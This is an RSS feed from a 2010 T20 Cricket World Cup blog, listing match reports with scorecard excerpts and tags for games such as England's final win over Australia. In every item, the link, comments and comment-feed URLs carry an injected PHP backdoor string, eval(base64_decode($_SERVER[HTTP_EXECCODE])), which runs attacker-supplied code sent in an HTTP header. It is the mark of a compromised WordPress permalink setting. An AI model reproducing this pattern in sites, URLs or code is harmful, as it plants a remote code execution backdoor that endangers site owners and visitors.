<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>T20 World Cup 2010</title>
	<atom:link href="http://www.t20worldcup.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.t20worldcup.net</link>
	<description>Live Scores, News, Reviews and Videos</description>
	<pubDate>Sun, 16 May 2010 19:17:36 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>England are T20 World Champions!!</title>
		<link>http://www.t20worldcup.net/2010/05/16/england-are-t20-world-champions/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed</link>
		<comments>http://www.t20worldcup.net/2010/05/16/england-are-t20-world-champions/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 16 May 2010 19:17:36 +0000</pubDate>
		<dc:creator>Vineet</dc:creator>
		
		<category><![CDATA[Matches]]></category>

		<category><![CDATA[News]]></category>

		<category><![CDATA[2010]]></category>

		<category><![CDATA[Australia]]></category>

		<category><![CDATA[blog]]></category>

		<category><![CDATA[champions]]></category>

		<category><![CDATA[coverage]]></category>

		<category><![CDATA[cricket]]></category>

		<category><![CDATA[England]]></category>

		<category><![CDATA[finals]]></category>

		<category><![CDATA[Fixtures]]></category>

		<category><![CDATA[icc]]></category>

		<category><![CDATA[Match]]></category>

		<category><![CDATA[quarterfinal]]></category>

		<category><![CDATA[reviews]]></category>

		<category><![CDATA[semifinal]]></category>

		<category><![CDATA[semifinals]]></category>

		<category><![CDATA[T20]]></category>

		<category><![CDATA[World Cup]]></category>

		<category><![CDATA[worldcup]]></category>

		<guid isPermaLink="false">http://www.t20worldcup.net/?p=318</guid>
		<description><![CDATA[Scorecard:
Australia: 147 for 6 (20 overs)
(D Hussey 59 off 54 balls, White 30 off 19 balls, Clarke 27 off 27 balls, Sidebottom 2 for 26)
England: 148 for 3 (17 overs)
(Kieswettter 63 off 49 balls, Pietersen 47 off 31 balls,  Smith 1 for 21)
Australia finally could not pull together their late swing just one more time. [...]]]></description>
		<wfw:commentRss>http://www.t20worldcup.net/2010/05/16/england-are-t20-world-champions/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Australia pull off a miracle to beat Pakistan</title>
		<link>http://www.t20worldcup.net/2010/05/14/australia-pull-off-a-miracle-to-beat-pakistan/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed</link>
		<comments>http://www.t20worldcup.net/2010/05/14/australia-pull-off-a-miracle-to-beat-pakistan/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 14 May 2010 23:10:14 +0000</pubDate>
		<dc:creator>Vineet</dc:creator>
		
		<category><![CDATA[Matches]]></category>

		<category><![CDATA[News]]></category>

		<category><![CDATA[2010]]></category>

		<category><![CDATA[Australia]]></category>

		<category><![CDATA[blog]]></category>

		<category><![CDATA[coverage]]></category>

		<category><![CDATA[cricket]]></category>

		<category><![CDATA[Fixtures]]></category>

		<category><![CDATA[icc]]></category>

		<category><![CDATA[Match]]></category>

		<category><![CDATA[Pakistan]]></category>

		<category><![CDATA[quarterfinal]]></category>

		<category><![CDATA[reviews]]></category>

		<category><![CDATA[semifinal]]></category>

		<category><![CDATA[semifinals]]></category>

		<category><![CDATA[T20]]></category>

		<category><![CDATA[World Cup]]></category>

		<guid isPermaLink="false">http://www.t20worldcup.net/?p=309</guid>
		<description><![CDATA[Scorecard:
Pakistan: 191 for 6 (20 overs)
(Umar Akmal 56* off 35 balls, Kamran Akmal 50 off 34 balls, Salman Butt 32 off 30 balls, Smith 1 for 23)
Australia: 197 for 7 (19.5 overs)
(M Hussey 60* off 24 balls, White 43 off 31 balls, Haddin 25  off 20 balls, Aamer 3 for 35, Rehman 2 for [...]]]></description>
		<wfw:commentRss>http://www.t20worldcup.net/2010/05/14/australia-pull-off-a-miracle-to-beat-pakistan/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>England score easy win as Sri Lanka succumb to themselves</title>
		<link>http://www.t20worldcup.net/2010/05/13/england-score-easy-win-as-sri-lanka-succumb-to-themselves/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed</link>
		<comments>http://www.t20worldcup.net/2010/05/13/england-score-easy-win-as-sri-lanka-succumb-to-themselves/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 13 May 2010 22:25:04 +0000</pubDate>
		<dc:creator>Vineet</dc:creator>
		
		<category><![CDATA[Matches]]></category>

		<category><![CDATA[News]]></category>

		<category><![CDATA[2010]]></category>

		<category><![CDATA[blog]]></category>

		<category><![CDATA[coverage]]></category>

		<category><![CDATA[cricket]]></category>

		<category><![CDATA[England]]></category>

		<category><![CDATA[Fixtures]]></category>

		<category><![CDATA[icc]]></category>

		<category><![CDATA[Match]]></category>

		<category><![CDATA[quarterfinal]]></category>

		<category><![CDATA[reviews]]></category>

		<category><![CDATA[semifinal]]></category>

		<category><![CDATA[semifinals]]></category>

		<category><![CDATA[sri lanka]]></category>

		<category><![CDATA[T20]]></category>

		<category><![CDATA[World Cup]]></category>

		<guid isPermaLink="false">http://www.t20worldcup.net/?p=315</guid>
		<description><![CDATA[Scorecard:
Sri Lanka: 128 for 6 (20 overs)
(Mathews 58 off 45 balls, Broad 2 for 21)
England: 132 for 3 (16 overs)
(Pietersen 45 off 26 balls, Kieswettter 39 off 29 balls, Lumb 33  off 26 balls, Perera 2 for 19)
Sri Lanka finally collapsed after fighting their way into the semi finals. Their batting did not take [...]]]></description>
		<wfw:commentRss>http://www.t20worldcup.net/2010/05/13/england-score-easy-win-as-sri-lanka-succumb-to-themselves/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>West Indies no match for resurgent Australia</title>
		<link>http://www.t20worldcup.net/2010/05/11/west-indies-no-match-for-resurgent-australia/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed</link>
		<comments>http://www.t20worldcup.net/2010/05/11/west-indies-no-match-for-resurgent-australia/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 11 May 2010 23:10:08 +0000</pubDate>
		<dc:creator>Vineet</dc:creator>
		
		<category><![CDATA[Matches]]></category>

		<category><![CDATA[News]]></category>

		<category><![CDATA[2010]]></category>

		<category><![CDATA[Australia]]></category>

		<category><![CDATA[blog]]></category>

		<category><![CDATA[coverage]]></category>

		<category><![CDATA[cricket]]></category>

		<category><![CDATA[Fixtures]]></category>

		<category><![CDATA[icc]]></category>

		<category><![CDATA[Match]]></category>

		<category><![CDATA[quarterfinal]]></category>

		<category><![CDATA[reviews]]></category>

		<category><![CDATA[T20]]></category>

		<category><![CDATA[West Indies]]></category>

		<category><![CDATA[World Cup]]></category>

		<guid isPermaLink="false">http://www.t20worldcup.net/?p=308</guid>
		<description><![CDATA[Scorecard:
West Indies: 105 all out (19 overs)
(Sarwan 26 off 31 balls, Chanderpaul 24 off 18 balls, Smith 3  for 20, D Hussey 2 for 3, Johnson 2 for 22)
Australia: 109 for 4 (16.2 overs)
(Haddin 42 off 46 balls, Warner 25 off 12 balls, Perera 2 for 19)
West Indies elected to bat in their crucial [...]]]></description>
		<wfw:commentRss>http://www.t20worldcup.net/2010/05/11/west-indies-no-match-for-resurgent-australia/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>India bow out without a win against Sri Lanka</title>
		<link>http://www.t20worldcup.net/2010/05/11/india-bow-out-without-a-win-against-sri-lanka/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed</link>
		<comments>http://www.t20worldcup.net/2010/05/11/india-bow-out-without-a-win-against-sri-lanka/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 11 May 2010 20:07:26 +0000</pubDate>
		<dc:creator>Vineet</dc:creator>
		
		<category><![CDATA[Matches]]></category>

		<category><![CDATA[News]]></category>

		<category><![CDATA[2010]]></category>

		<category><![CDATA[blog]]></category>

		<category><![CDATA[coverage]]></category>

		<category><![CDATA[cricket]]></category>

		<category><![CDATA[Fixtures]]></category>

		<category><![CDATA[icc]]></category>

		<category><![CDATA[India]]></category>

		<category><![CDATA[Match]]></category>

		<category><![CDATA[quarterfinal]]></category>

		<category><![CDATA[reviews]]></category>

		<category><![CDATA[sri lanka]]></category>

		<category><![CDATA[T20]]></category>

		<category><![CDATA[World Cup]]></category>

		<guid isPermaLink="false">http://www.t20worldcup.net/?p=290</guid>
		<description><![CDATA[Scorecard:
India: 163 for 5 (20 overs)
(Raina 85 off 49 balls, Gambhir 41 off 32 balls, Dhoni 23* off 19 balls, Malinga 2  for 25, Thushara 2 for 41)
Sri Lanka: 167 for 5 (20 overs)
(Matthews 46 off 37 balls, Sangkarra 46 off 33 balls, Kapugedera 37* off 16 balls, Dilshan 33 off 26 balls, Vinay [...]]]></description>
		<wfw:commentRss>http://www.t20worldcup.net/2010/05/11/india-bow-out-without-a-win-against-sri-lanka/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>England easily beat New Zealand</title>
		<link>http://www.t20worldcup.net/2010/05/10/england-easily-beat-new-zealand/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed</link>
		<comments>http://www.t20worldcup.net/2010/05/10/england-easily-beat-new-zealand/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 10 May 2010 23:09:50 +0000</pubDate>
		<dc:creator>Vineet</dc:creator>
		
		<category><![CDATA[Matches]]></category>

		<category><![CDATA[News]]></category>

		<category><![CDATA[2010]]></category>

		<category><![CDATA[blog]]></category>

		<category><![CDATA[coverage]]></category>

		<category><![CDATA[cricket]]></category>

		<category><![CDATA[England]]></category>

		<category><![CDATA[Fixtures]]></category>

		<category><![CDATA[icc]]></category>

		<category><![CDATA[Match]]></category>

		<category><![CDATA[new zealand]]></category>

		<category><![CDATA[quarterfinal]]></category>

		<category><![CDATA[reviews]]></category>

		<category><![CDATA[T20]]></category>

		<category><![CDATA[World Cup]]></category>

		<guid isPermaLink="false">http://www.t20worldcup.net/?p=296</guid>
		<description><![CDATA[Scorecard:
New Zealand: 149 for 6 (20 overs)
(Taylor 44 off 33 balls, B McCullum 33 off 32 balls, Styris 31 off 19 balls, Swann 2  for 31, Broad 2 for 33)
England: 153 for 7 (19.1 overs)
(Morgan 40 off 34 balls, Lumb  32 off 21 balls, Wright 24  off 17 balls, Bresnan 23 off 11 [...]]]></description>
		<wfw:commentRss>http://www.t20worldcup.net/2010/05/10/england-easily-beat-new-zealand/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>South Africa show a classic display of the Zulu Freeze against Pakistan</title>
		<link>http://www.t20worldcup.net/2010/05/10/south-africa-show-a-classic-display-of-the-zulu-freeze-against-pakistan/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed</link>
		<comments>http://www.t20worldcup.net/2010/05/10/south-africa-show-a-classic-display-of-the-zulu-freeze-against-pakistan/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 10 May 2010 21:07:23 +0000</pubDate>
		<dc:creator>Vineet</dc:creator>
		
		<category><![CDATA[Matches]]></category>

		<category><![CDATA[News]]></category>

		<category><![CDATA[2010]]></category>

		<category><![CDATA[blog]]></category>

		<category><![CDATA[coverage]]></category>

		<category><![CDATA[cricket]]></category>

		<category><![CDATA[Fixtures]]></category>

		<category><![CDATA[icc]]></category>

		<category><![CDATA[Match]]></category>

		<category><![CDATA[Pakistan]]></category>

		<category><![CDATA[quarterfinal]]></category>

		<category><![CDATA[reviews]]></category>

		<category><![CDATA[South Africa]]></category>

		<category><![CDATA[T20]]></category>

		<category><![CDATA[World Cup]]></category>

		<guid isPermaLink="false">http://www.t20worldcup.net/?p=289</guid>
		<description><![CDATA[Scorecard:
Pakistan: 148 for 7 (20 overs)
(Umar Akmal 51 off 33 balls, Kamran Akmal 37 off 33 balls, Afridi 30 off 18 balls, Langeveldt 4  for 19)
South Africa: 137 for 7 (20 overs)
(DeVilliers 53 off 41 balls, Kallis 22 off 21 balls, Ajmal 4 for 26, Rehman 2 for 35)
Pakistan today put up a moderate [...]]]></description>
		<wfw:commentRss>http://www.t20worldcup.net/2010/05/10/south-africa-show-a-classic-display-of-the-zulu-freeze-against-pakistan/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Australia clobber Sri Lanka</title>
		<link>http://www.t20worldcup.net/2010/05/09/australia-clobber-sri-lanka/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed</link>
		<comments>http://www.t20worldcup.net/2010/05/09/australia-clobber-sri-lanka/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 09 May 2010 23:49:06 +0000</pubDate>
		<dc:creator>Vineet</dc:creator>
		
		<category><![CDATA[Matches]]></category>

		<category><![CDATA[News]]></category>

		<category><![CDATA[2010]]></category>

		<category><![CDATA[Australia]]></category>

		<category><![CDATA[blog]]></category>

		<category><![CDATA[coverage]]></category>

		<category><![CDATA[cricket]]></category>

		<category><![CDATA[Fixtures]]></category>

		<category><![CDATA[icc]]></category>

		<category><![CDATA[Match]]></category>

		<category><![CDATA[quarterfinal]]></category>

		<category><![CDATA[reviews]]></category>

		<category><![CDATA[sri lanka]]></category>

		<category><![CDATA[T20]]></category>

		<category><![CDATA[World Cup]]></category>

		<guid isPermaLink="false">http://www.t20worldcup.net/?p=281</guid>
		<description><![CDATA[Scorecard:
Australia: 168 for 5 (20 overs)
(White 85 off 49 balls, M Hussey 39 off 26 balls, Randiv 3  for 20, Matthews 2 for 24 )
Sri Lanka: 87 all out (16.2 overs)
(Dilshan 20 off 12 balls, Johnson 3 for 15, Smith 2 for 12, Nannes 2 for 19)
Sri Lanka got Australia struggling right away getting [...]]]></description>
		<wfw:commentRss>http://www.t20worldcup.net/2010/05/09/australia-clobber-sri-lanka/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>West Indies stay ahead of India in the Semifinal race</title>
		<link>http://www.t20worldcup.net/2010/05/09/west-indies-stay-ahead-of-india-in-the-semifinal-race/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed</link>
		<comments>http://www.t20worldcup.net/2010/05/09/west-indies-stay-ahead-of-india-in-the-semifinal-race/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 09 May 2010 21:49:09 +0000</pubDate>
		<dc:creator>Vineet</dc:creator>
		
		<category><![CDATA[Matches]]></category>

		<category><![CDATA[News]]></category>

		<category><![CDATA[2010]]></category>

		<category><![CDATA[blog]]></category>

		<category><![CDATA[coverage]]></category>

		<category><![CDATA[cricket]]></category>

		<category><![CDATA[Fixtures]]></category>

		<category><![CDATA[icc]]></category>

		<category><![CDATA[India]]></category>

		<category><![CDATA[Match]]></category>

		<category><![CDATA[quarterfinal]]></category>

		<category><![CDATA[reviews]]></category>

		<category><![CDATA[T20]]></category>

		<category><![CDATA[West Indies]]></category>

		<category><![CDATA[World Cup]]></category>

		<guid isPermaLink="false">http://www.t20worldcup.net/?p=282</guid>
		<description><![CDATA[Scorecard:
West Indies: 169 for 6 (20 overs)
(Gayle 98 off 66 balls, Chanderpaul 23 off 29 balls, Nehra 3  for 35)
India: 155 for 9 (20 overs)
(Dhoni 29 off 18 balls, Roach 2 for 38)
The West Indians didn&#8217;t expect to reach beyond this stage. So they went about their task in a very sedate manner, just [...]]]></description>
		<wfw:commentRss>http://www.t20worldcup.net/2010/05/09/west-indies-stay-ahead-of-india-in-the-semifinal-race/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>England score facile win over South Africa</title>
		<link>http://www.t20worldcup.net/2010/05/08/england-score-facile-win-over-south-africa/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed</link>
		<comments>http://www.t20worldcup.net/2010/05/08/england-score-facile-win-over-south-africa/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 08 May 2010 23:49:12 +0000</pubDate>
		<dc:creator>Vineet</dc:creator>
		
		<category><![CDATA[Matches]]></category>

		<category><![CDATA[News]]></category>

		<category><![CDATA[2010]]></category>

		<category><![CDATA[blog]]></category>

		<category><![CDATA[coverage]]></category>

		<category><![CDATA[cricket]]></category>

		<category><![CDATA[England]]></category>

		<category><![CDATA[Fixtures]]></category>

		<category><![CDATA[icc]]></category>

		<category><![CDATA[Match]]></category>

		<category><![CDATA[quarterfinal]]></category>

		<category><![CDATA[reviews]]></category>

		<category><![CDATA[South Africa]]></category>

		<category><![CDATA[T20]]></category>

		<category><![CDATA[World Cup]]></category>

		<guid isPermaLink="false">http://www.t20worldcup.net/?p=283</guid>
		<description><![CDATA[Scorecard:
England: 168 for 7 (20 overs)
(Pietersen 53 off 33 balls, Kieswetter 41 off 42 balls, Morgan 21 off 14 balls, Botha 2  for 15, Langeveldt 2 for 34, Morkel 2 for 40)
South Africa: 129 all out (19 overs)
(Duminy 39 off 25 balls, Sidebottom 3 for 23, Swann 3 for 24, Broad 2 for 26, [...]]]></description>
		<wfw:commentRss>http://www.t20worldcup.net/2010/05/08/england-score-facile-win-over-south-africa/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
